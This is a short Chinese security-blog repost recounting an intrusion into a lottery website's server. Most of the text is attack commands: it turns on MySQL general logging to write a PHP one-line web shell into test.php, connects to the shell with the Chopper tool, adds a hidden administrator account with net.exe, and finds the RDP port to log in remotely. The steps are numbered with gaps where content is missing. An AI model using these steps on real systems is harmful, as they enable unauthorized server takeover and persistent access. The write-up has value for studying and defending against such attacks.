技术干货 | 记一次彩票网站的攻击案例

本公众号发布的文章均转载自互联网或经作者投稿授权的原创，文末已注明出处，其内容和图片版权归原网站或作者本人所有，并不代表安世加的观点，若有无意侵权或转载不当之处请联系我们处理，谢谢合作！

欢迎各位添加微信号：asj-jacky

加入安世加 交流群 和大佬们一起交流安全技术

命令如下:

1、开启日志功能：set global general_log=on;

这里的日志文件是test.php。

3、执行SQL命令写入一句话到日志文件: 

SELECT'<?php assert($_POST["test"]);?>';

5、 查看日志文件。

使用菜刀连接日志文件木马，xxx/test.php 密码:test

查看发现是系统管理员sysytem权限，直接添加用户且添加到管理组即可。

命令为: 

C:Windowssystem32net.exe user Test Test!@#123 /addC:Windowssystem32net.exe  localgroup administrators Test /add

1、直接telnet ip 3389 测试发现可通，于是直接连接3389进去。

2、或者这里在菜刀上执行以下命令查询3389开放的端口也一样。

第一步: tasklist /svc | findstr TermService 查询远程桌面服务的进程

第二步: netstat -ano | findstr ****  //查看远程桌面服务进程号对应的端口号。

5、发现该服务器使用phpmystudy批量建立彩票站，大概有十几个站点，随意访问几个服务器上的网站域名，部分截图如下:

系统一:

本文始发于微信公众号（安世加）：技术干货 | 记一次彩票网站的攻击案例